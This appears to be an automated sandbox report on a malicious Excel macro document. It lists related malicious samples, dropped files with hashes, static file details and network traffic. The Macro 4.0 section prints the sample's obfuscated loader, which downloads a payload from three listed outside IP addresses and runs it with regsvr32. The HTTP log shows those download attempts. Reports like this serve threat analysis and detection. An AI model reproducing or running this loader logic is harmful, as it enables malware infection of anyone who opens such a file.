Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TWIDC-AS-APTWIDCLimitedHK	Cancellation_1844611233_06082021.xlsm	Get hash	malicious	Browse	103.155.92.95
	Rebate_18082425_05272021.xlsm	Get hash	malicious	Browse	103.155.93.185
	Rebate_18082425_05272021.xlsm	Get hash	malicious	Browse	103.155.93.185
	DEBT_06032021_861309073.xlsm	Get hash	malicious	Browse	103.155.93.93
	DEBT_06032021_861309073.xlsm	Get hash	malicious	Browse	103.155.93.93
	2773773737646_OOCL_INVOICE_937763.xlsx	Get hash	malicious	Browse	103.155.82.236
	Rebate_854427061_05272021.xlsm	Get hash	malicious	Browse	103.155.93.185
	Rebate_854427061_05272021.xlsm	Get hash	malicious	Browse	103.155.93.185
	Document_06022021_568261087_Copy.xlsm	Get hash	malicious	Browse	103.155.92.221
	Document_06022021_568261087_Copy.xlsm	Get hash	malicious	Browse	103.155.92.221
	DRAFT BL_CMA_CGM.xlsx	Get hash	malicious	Browse	103.155.82.236
	Document_06022021_1658142991_Copy.xlsm	Get hash	malicious	Browse	103.155.92.221
	Document_06022021_1658142991_Copy.xlsm	Get hash	malicious	Browse	103.155.92.221
	PO (2).exe	Get hash	malicious	Browse	103.153.182.50
	PO.exe	Get hash	malicious	Browse	103.153.182.50
	Rebate_850149173_05272021.xlsm	Get hash	malicious	Browse	103.155.93.185
	Rebate_850149173_05272021.xlsm	Get hash	malicious	Browse	103.155.93.185
	Outstanding_Debt_591538347_05242021.xlsm	Get hash	malicious	Browse	103.155.92.157
	Outstanding_Debt_591538347_05242021.xlsm	Get hash	malicious	Browse	103.155.92.157
	3e53db5d_by_Libranalysis.xlsx	Get hash	malicious	Browse	103.155.92.82
OVHFR	Cancellation_1844611233_06082021.xlsm	Get hash	malicious	Browse	51.89.115.125
	Tax Folder.doc	Get hash	malicious	Browse	145.239.131.51
	WlMsy0a1CN.exe	Get hash	malicious	Browse	79.137.109.121
	#Ud83d#Udda8rocket.com 1208421(69-queue-2615.htm	Get hash	malicious	Browse	145.239.131.51
	E91sLsvV8S.exe	Get hash	malicious	Browse	144.217.14.109
	f.xls	Get hash	malicious	Browse	51.77.82.110
	50681.dll	Get hash	malicious	Browse	51.77.82.110
	50681.dll	Get hash	malicious	Browse	51.77.82.110
	SecuriteInfo.com.VB.Trojan.Valyria.4710.541.xls	Get hash	malicious	Browse	51.77.82.110
	fodeb.exe	Get hash	malicious	Browse	51.222.195.7
	ayowa.exe	Get hash	malicious	Browse	51.222.195.7
	Payment slip.exe	Get hash	malicious	Browse	213.186.33.5
	03062021.exe	Get hash	malicious	Browse	51.195.43.214
	A4C57DF59F0C85EEBCB7B40263D8C3DE037F41B7D2D43.exe	Get hash	malicious	Browse	46.105.204.2
	] New Order Vung Ang TPP Viet Nam.exe	Get hash	malicious	Browse	54.38.220.85
	ConsoleApp1.exe	Get hash	malicious	Browse	51.222.195.7
	http___pbfoa.org_d.exe	Get hash	malicious	Browse	142.4.200.50
	cryptowall.exe	Get hash	malicious	Browse	188.165.164.184
	treetop-payroll-075491-pdf.HtmL	Get hash	malicious	Browse	145.239.131.51
	Rebate_18082425_05272021.xlsm	Get hash	malicious	Browse	51.195.38.35
HQservCommunicationSolutionsIL	Cancellation_1844611233_06082021.xlsm	Get hash	malicious	Browse	45.144.31.105
	zzOGYFgy8q.exe	Get hash	malicious	Browse	45.144.29.9
	tX6uSJFGyw.exe	Get hash	malicious	Browse	45.144.29.9
	SecuriteInfo.com.Trojan.PWS.Stealer.30553.25052.exe	Get hash	malicious	Browse	91.194.11.86
	hTe3jpKXnE.exe	Get hash	malicious	Browse	45.144.29.9
	order 05.21.doc	Get hash	malicious	Browse	45.144.29.189
	order 05.21.doc	Get hash	malicious	Browse	45.144.29.189
	order 05.21.doc	Get hash	malicious	Browse	45.144.29.189
	SecuriteInfo.com.Downloader-FCEIFE04EE03A3CA.23702.xlsx	Get hash	malicious	Browse	45.144.29.69
	SecuriteInfo.com.Downloader-FCEIFE04EE03A3CA.23702.xlsx	Get hash	malicious	Browse	45.144.29.69
	SecuriteInfo.com.Heur.18790.xlsx	Get hash	malicious	Browse	45.144.29.69
	SecuriteInfo.com.Heur.18790.xlsx	Get hash	malicious	Browse	45.144.29.69
	21975030260_05262021.xlsm	Get hash	malicious	Browse	45.144.29.69
	21975030260_05262021.xlsm	Get hash	malicious	Browse	45.144.29.69
	IMjQ2nitdj.exe	Get hash	malicious	Browse	45.144.29.143
	p24PN6HEuu.exe	Get hash	malicious	Browse	45.144.29.143
	KERdk635uE.exe	Get hash	malicious	Browse	45.144.29.143
	IMjQ2nitdj.exe	Get hash	malicious	Browse	45.144.29.143
	YgwtJM23Kw.exe	Get hash	malicious	Browse	45.144.29.143
	54WMahvN3N.exe	Get hash	malicious	Browse	45.144.29.143

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\4D132F3C.tif Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	TIFF image data, little-endian, direntries=19, height=1600, bps=53710, compression=LZW, PhotometricIntepretation=RGB, width=1600
Category:	dropped
Size (bytes):	315878
Entropy (8bit):	7.988901270632308
Encrypted:	false
SSDEEP:	6144:hRMlgE+mJ9ABc/nv5k8IKAhBfsOwmLgzLc1pTcsGEdDIPmhsB0vRakfzeQZN3:hRMmEv2Bc/nvm8IKABfsYOmauFD
MD5:	BB737290D394078D8A16D5509C5BC970
SHA1:	C8A63B0AB1EB7745A0027E0A17A6CB4C6F79487E
SHA-256:	E11121ECA3FAD55F66EA240EADD4F5B4C978828C94C34736F7673540529B17A5
SHA-512:	3D8A6025171D283FA08D8A5BA4EAAD1EABAD55D7D34629F17F4C6601DD4438FB536B29D7B8CA71E540EDB782433118628EBD3A56CE8FFA453C6A45792425CB9A
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	II..................h\.......t2#...1..Z)....).~9&.H.r.,.C+.I....e-.M.Si..}0.K.SJ...3.Ng.ZL..G.S..:m..N.Tk5..Z.Z...+.~.f.X.v.-..k.Y.....m.].Wk...p.[.WL...s.^o.\M....c..<n/!..ds9..[)...-..9..h.z...C..i....e..m.[m..}..k.[N.....nw.^N....s..>o/.r.....C4U.kw{......f..~.W....y........y...'...;.R..<.[..;....o...T.....+......?p....N.....#........ht'...Q..E....CQ.^.\m.E......o.Ba[.#Dp...>.<c .1$..Q.E....Ir..+.....Y.(H..K..{..Q...I.....R.Y(Fr\|m<$.l...RL.&.3..GP0..D....=.s.5CT,.FN.==7Sq...Iu.3JQ.%GUKS..X...5V.Hu.Z..9T..O4...KC.5.N.Q..aD...g.V.Mh.m.c.M.eMSe.?V..UoR...j....<]...G.v.B$v\Iv[.].f...N\...y_...M....p`w..b.6%.a......T3.c..S.WQ...S......tHk[7.[4;..k.#....~e...f.m.&...-.iz6....V5.jzN...:.3.k.......M..[......m[N...~.nz~.o...k....;.........y..{`.......u..\|?-.q.f...\|...m6...b..#..]'5..<...g.7_........q.u..].....$[.....~...+..I.p.zt.Y.N.}.............FS5.....k..H...#....~.w.....:...?........"..... 4..PB.A....l...j...... .p..BX1..D..0..Bx

C:\Users\user\AppData\Local\Temp\01910000 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	340179
Entropy (8bit):	7.979776359107248
Encrypted:	false
SSDEEP:	6144:8RMlgE+mJ9ABc/nv5k8IKAhBfsOwmLgzLc1pTcsGEdDIPmhsB0vRakfzeQZNz+7:8RMmEv2Bc/nvm8IKABfsYOmauFu
MD5:	80DAD1B60040366AAC2DCB92B5AA7413
SHA1:	6F85120C033B050B4B6B884E5C0512157E710006
SHA-256:	E8C7B0EB445E8AB3FB14B64A15A38F68AE0A8CA4578ED69C6C9B6C5556B04F41
SHA-512:	7B80891F9C3B57F205683DC90B462EAB9254591324B1EA2FA43FEC2DA28584136D500AA3FD6C5CFB99BB9770EC46312425EF18999C5B6A6FE6CF8895988BCF0A
Malicious:	false
Reputation:	low
Preview:	...n.0.E.......D;M...E....I?.&G.a..a...3.......md...sgh.gt5..x.......+.I...........S.x.5[........E.,(.a...w.Q.`.V>....G+.}.S....)....K...T.....h.I...N&..z.......h)...ON....i....%..C....H.T!j".{H..C.72#.<........:.'J}.!.l.j{\..8ms5i.._t.Q+(.DL?..r...>.&....\M.%.%..+Ye.........&...E".>.. ....>..I'..G.{e....lf......?..c.}:.s...~q_..].../._.~q.A/..[...$..IM=?Oo.....ia..W/E..[.A.'....n.o.=>T...._..^.....M)w...A(.....:rt.H.b..;6].k"MQ'.7.1M.....X8~.......PK..........!.........W.......[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Cancellation_1844611233_06082021.xlsm.LNK Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 14:03:43 2020, mtime=Wed Jun 9 11:34:33 2021, atime=Wed Jun 9 11:34:33 2021, length=340171, window=hide
Category:	dropped
Size (bytes):	2340
Entropy (8bit):	4.7052271760013245
Encrypted:	false
SSDEEP:	24:8TpY+s3NO3Q8AbOZDyLJ7aB6myTpY+s3NO3Q8AbOZDyLJ7aB6m:8dY5qUbOgLkB6pdY5qUbOgLkB6
MD5:	5CB2D14907EA2DD9E90DA240B0818515
SHA1:	4BA26F2D25C85C97D2C1109A0BA6CA9DBDBA07AE
SHA-256:	1AAE42526E52FA76B8C95A8766E222CF6EFD338A2A7F255024E958B22CE49A42
SHA-512:	65B8C8F0CA146A16FFDEC0A08695AA61F9C07C2181A97ABE8DA8D044D87DB2BBF04945CE1F363F3D2455EF3564FBA0BF66EF36D429EAAC497F79F55EBA374018
Malicious:	true
Reputation:	low
Preview:	L..................F.... .......:....I..+]......+]...0...........................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L...RFd....................:.....q\|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Qwx..user.<.......Ny..RFd.....S....................y.G.h.a.r.d.z.....~.1.....>Qxx..Desktop.h.......Ny..RFd.....Y..............>.......2.D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.D6...RKd .CANCEL~1.XLS..\|......>Qvx.RKd....h.....................j..C.a.n.c.e.l.l.a.t.i.o.n._.1.8.4.4.6.1.1.2.3.3._.0.6.0.8.2.0.2.1...x.l.s.m.......k...............-.......j...........>.S......C:\Users\user\Desktop\Cancellation_1844611233_06082021.xlsm..<.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.C.a.n.c.e.l.l.a.t.i.o.n._.1.8.4.4.6.1.1.2.3.3._.0.6.0.8.2.0.2.1...x.l.s.m.........:..,.LB.)...As...`.......X.......841675...........!a..%.H.VZAj......-.........-..!a..%.H.VZAj......-.........-.............1SPS.XF.L8C....&.m.q...........

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 16:19:49 2019, mtime=Wed Jun 9 11:34:33 2021, atime=Wed Jun 9 11:34:33 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	904
Entropy (8bit):	4.653097269811707
Encrypted:	false
SSDEEP:	12:8ATcXURTuElPCH2As3iMsYwK3i+WrjAZ/2bDyl5LC5Lu4t2Y+xIBjKZm:8++s3N13IAZiDyq87aB6m
MD5:	F66E7752D90C36431AB626803DDF849A
SHA1:	6B31834DDD1DE996755FFAF3AA5F0D13E6B8EA3F
SHA-256:	99AC3C690A84D4D955C41E0816E212A005D13886063E270E9BD225C67DBA9900
SHA-512:	5A87CB29AE6BFE9C59BFA41E25CC55D7FC4F6B549B56BA8684182B5C9C96ABF8E104DDCB83775A0E1A130B9D9A749AB2AFDDD9E06339B0885CA6E153AE1B851E
Malicious:	false
Reputation:	low
Preview:	L..................F........N....-..."..+]......+]... ......................u....P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L...RFd....................:.....q\|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Qwx..user.<.......Ny..RFd.....S....................y.G.h.a.r.d.z.....~.1......RQd..Desktop.h.......Ny..RQd.....Y..............>.....oO..D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......E...............-.......D...........>.S......C:\Users\user\Desktop........\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...As...`.......X.......841675...........!a..%.H.VZAj...4.4...........-..!a..%.H.VZAj...4.4...........-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	166
Entropy (8bit):	4.801112640408613
Encrypted:	false
SSDEEP:	3:oyBVomxWtlUvER1EV2PpS+iRvER1EV2PpSmxWtlUvER1EV2PpSv:djelaiu2PpSBiu2Ppglaiu2Ppc
MD5:	29BEC33CF6601C3A3896C99F03A4CB2C
SHA1:	1A45D4171B2EA6BE51888920FBAF18480376B1A2
SHA-256:	D39D901C0C2C1E60FD6DCA0CD214D199A767BCBC05E3E2A19551BC34E190EF85
SHA-512:	36AABBB422CE56779A803214DBC5F9F5FC9CD3D63C9A5084A9DB9EA6BD809720685CD0B00DD5C666946019664A9ECB853E6E1C9E60135FCD88114627786C0A99
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[misc]..Cancellation_1844611233_06082021.xlsm.LNK=0..Cancellation_1844611233_06082021.xlsm.LNK=0..[misc]..Cancellation_1844611233_06082021.xlsm.LNK=0..

C:\Users\user\Desktop\D1910000 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	340171
Entropy (8bit):	7.979769649090279
Encrypted:	false
SSDEEP:	6144:0RMlgE+mJ9ABc/nv5k8IKAhBfsOwmLgzLc1pTcsGEdDIPmhsB0vRakfzeQZNz+A:0RMmEv2Bc/nvm8IKABfsYOmauFl
MD5:	F8E45353DBCC6E731CA474047A795BF0
SHA1:	B640175B45A0CF66A6C7F9FBAD4E8270CB096AD9
SHA-256:	DD40891B07B245575D99B3A2B7154754D25EF2690603E73D302219DA811DB225
SHA-512:	C6D909B60E938FAA8B8CA0F7A4DBE44B6031FC1A1F22659CAD40E3280AB41DC460D0649CD4ED19D2CECB7DA327443D5A2EBB517F7EFF2B0E4AEE8D9B8EF1BECC
Malicious:	false
Reputation:	low
Preview:	...n.0.E.......D;M...E....I?.&G.a..a...3.......md...sgh.gt5..x.......+.I...........S.x.5[........E.,(.a...w.Q.`.V>....G+.}.S....)....K...T.....h.I...N&..z.......h)...ON....i....%..C....H.T!j".{H..C.72#.<........:.'J}.!.l.j{\..8ms5i.._t.Q+(.DL?..r...>.&....\M.%.%..+Ye.........&...E".>.. ....>..I'..G.{e....lf......?..c.}:.s...~q_..].../._.~q.A/..[...$..IM=?Oo.....ia..W/E..[.A.'....n.o.=>T...._..^.....M)w...A(.....:rt.H.b..;6].k"MQ'.7.1M.....X8~.......PK..........!.........W.......[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$Cancellation_1844611233_06082021.xlsm Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.6081032063576088
Encrypted:	false
SSDEEP:	3:RFXI6dtBhFXI6dtt:RJZhJ1
MD5:	836727206447D2C6B98C973E058460C9
SHA1:	D83351CF6DE78FEDE0142DE5434F9217C4F285D2
SHA-256:	D9BECB14EECC877F0FA39B6B6F856365CADF730B64E7FA2163965D181CC5EB41
SHA-512:	7F843EDD7DC6230BF0E05BF988D25AE6188F8B22808F2C990A1E8039C0CECC25D1D101E0FDD952722FEAD538F7C7C14EEF9FD7F4B31036C3E7F79DE570CD0607
Malicious:	true
Reputation:	high, very likely benign file
Preview:	.pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.97999804023918
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	Cancellation_1844611233_06082021.xlsm
File size:	341572
MD5:	245c3e542030fb5f37cc1786c6d2ad52
SHA1:	d3659467af26b5cf1773b69bd6b9820b1b777dcb
SHA256:	72da5a8ba62bc25dfbe12f189664117f79db3fcf2d539e3b1f8abc3923e8a2ea
SHA512:	820d7b0e8686eeb0a020cf884ecbc86c8e0e64e1e2b4493174ce22c4461cb1440efb0e53a11635cd60c278639eab240604cbecc42612cc1900f534df566303db
SSDEEP:	6144:8gRMlgE+mJ9ABc/nv5k8IKAhBfsOwmLgzLc1pTcsGEdDIPmhsB0vRakfzeQZNpC:8gRMmEv2Bc/nvm8IKABfsYOmauFM
File Content Preview:	PK..........!...`.....W.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	74ecd0e2f696908c

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Cancellation_1844611233_06082021.xlsm"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

"=FORMULA('2dfgv'!F13&'2dfgv'!E14,I9)"=GOTO('1rtgvrt'!J3)

"=FORMULA('3fescvaer'!I10&'3fescvaer'!D15,H8)"=GOTO('5fetaert'!H6)

=,,,,,,,EX,,,,,,,E,,,,"=FORMULA(K10&K11,I10)",,,=D9&D10,,,,,,,=D12"C(""regsvr",,,,,,,,,,,,,,,,,,,,,"32 -s ""&"".""&"".""&""\""&""Post.storg"")","32 -s ""&"".""&"".""&""\""&""Post.storg1"")","32 -s ""&"".""&"".""&""\""&""Post.storg2"")",,,,,,,,,,,,,,,,=GOTO('4scdac'!G3),,,,,,,,,,..\Post.storg,..\Post.storg1,..\Post.storg2,,,,,

"=FORMULA('3fescvaer'!D8&'5fetaert'!I12,I18)"=GOTO('9rrvrv'!J11)

"=FORMULA('3fescvaer'!D8&'6vrtgarga'!I14,J18)"=HALT()

,,,,"=CONCATENATE(G12,nowik!I9)",,,,,,,,,,"=FORMULA(J5,J11)",,,,,,,,,,=NOW(),,,,.dat,,,,,,,=,=F12&F13,,,,REGIS,,,,"=Kokiser(0,K13&I14&J9&I10,'3fescvaer'!D19,0,0)",=K16&K17&K18"TER(""u""&""R""&""l""&""M""&""o""&""n"",""URL",,,"=""103.155.92.95/""",,Download,,,"=""45.144.31.105/""","=Kokiser(0,K13&I15&J9&I10,'3fescvaer'!E19,0,0)",ToFile,,,"=""51.89.115.125/""",,"=""ht""""A"",""JJC""""&CBB"",""Koki",,,,"=Kokiser(0,K13&I16&J9&I10,'3fescvaer'!F19,0,0)",tp"ser"",,1,9)",,,,,"=""://""",,,,,,,,,,,,,,=GOTO('3fescvaer'!H4),

"=FORMULA('3fescvaer'!D8&'4scdac'!H8,H13)"=GOTO('8aevgadrg'!I6)

=GOTO(nowik!H4)

"=FORMULA('3fescvaer'!I10&'3fescvaer'!F15,I14)"=GOTO('7rvgasdg'!H7)

"=FORMULA('3fescvaer'!I10&'3fescvaer'!E15,I12)"=GOTO('6vrtgarga'!H7)

,='1rtgvrt'!F14=F14&F15,='1rtgvrt'!F15&'1rtgvrt'!F16,='1rtgvrt'!F17&'1rtgvrt'!F18

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/09/21-05:28:03.955856	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49165	103.155.92.95	192.168.2.22
06/09/21-05:28:46.338247	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49168	51.89.115.125	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 9, 2021 05:34:33.117173910 CEST	49696	80	192.168.2.3	103.155.92.95
Jun 9, 2021 05:34:33.200536013 CEST	80	49696	103.155.92.95	192.168.2.3
Jun 9, 2021 05:34:33.200772047 CEST	49696	80	192.168.2.3	103.155.92.95
Jun 9, 2021 05:34:33.201443911 CEST	49696	80	192.168.2.3	103.155.92.95
Jun 9, 2021 05:34:33.281963110 CEST	80	49696	103.155.92.95	192.168.2.3
Jun 9, 2021 05:34:33.285360098 CEST	80	49696	103.155.92.95	192.168.2.3
Jun 9, 2021 05:34:33.285448074 CEST	49696	80	192.168.2.3	103.155.92.95
Jun 9, 2021 05:34:33.294173002 CEST	49697	80	192.168.2.3	45.144.31.105
Jun 9, 2021 05:34:36.295785904 CEST	49697	80	192.168.2.3	45.144.31.105
Jun 9, 2021 05:34:42.312117100 CEST	49697	80	192.168.2.3	45.144.31.105
Jun 9, 2021 05:34:54.342677116 CEST	49706	80	192.168.2.3	51.89.115.125
Jun 9, 2021 05:34:54.389875889 CEST	80	49706	51.89.115.125	192.168.2.3
Jun 9, 2021 05:34:54.392815113 CEST	49706	80	192.168.2.3	51.89.115.125
Jun 9, 2021 05:34:54.393377066 CEST	49706	80	192.168.2.3	51.89.115.125
Jun 9, 2021 05:34:54.439207077 CEST	80	49706	51.89.115.125	192.168.2.3
Jun 9, 2021 05:34:54.586024046 CEST	80	49706	51.89.115.125	192.168.2.3
Jun 9, 2021 05:34:54.586180925 CEST	49706	80	192.168.2.3	51.89.115.125
Jun 9, 2021 05:35:38.288422108 CEST	80	49696	103.155.92.95	192.168.2.3
Jun 9, 2021 05:35:38.288712025 CEST	49696	80	192.168.2.3	103.155.92.95
Jun 9, 2021 05:35:59.592336893 CEST	80	49706	51.89.115.125	192.168.2.3
Jun 9, 2021 05:35:59.592513084 CEST	49706	80	192.168.2.3	51.89.115.125
Jun 9, 2021 05:36:23.102653027 CEST	49706	80	192.168.2.3	51.89.115.125
Jun 9, 2021 05:36:23.104744911 CEST	49696	80	192.168.2.3	103.155.92.95
Jun 9, 2021 05:36:23.148513079 CEST	80	49706	51.89.115.125	192.168.2.3
Jun 9, 2021 05:36:23.185419083 CEST	80	49696	103.155.92.95	192.168.2.3

HTTP Request Dependency Graph

103.155.92.95

51.89.115.125

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49696	103.155.92.95	80	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jun 9, 2021 05:34:33.201443911 CEST	307	OUT	GET /44356.2323287037.dat HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 103.155.92.95 Connection: Keep-Alive
Jun 9, 2021 05:34:33.285360098 CEST	307	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 09 Jun 2021 03:34:32 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49706	51.89.115.125	80	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jun 9, 2021 05:34:54.393377066 CEST	382	OUT	GET /44356.2323287037.dat HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 51.89.115.125 Connection: Keep-Alive
Jun 9, 2021 05:34:54.586024046 CEST	383	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 09 Jun 2021 03:31:08 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 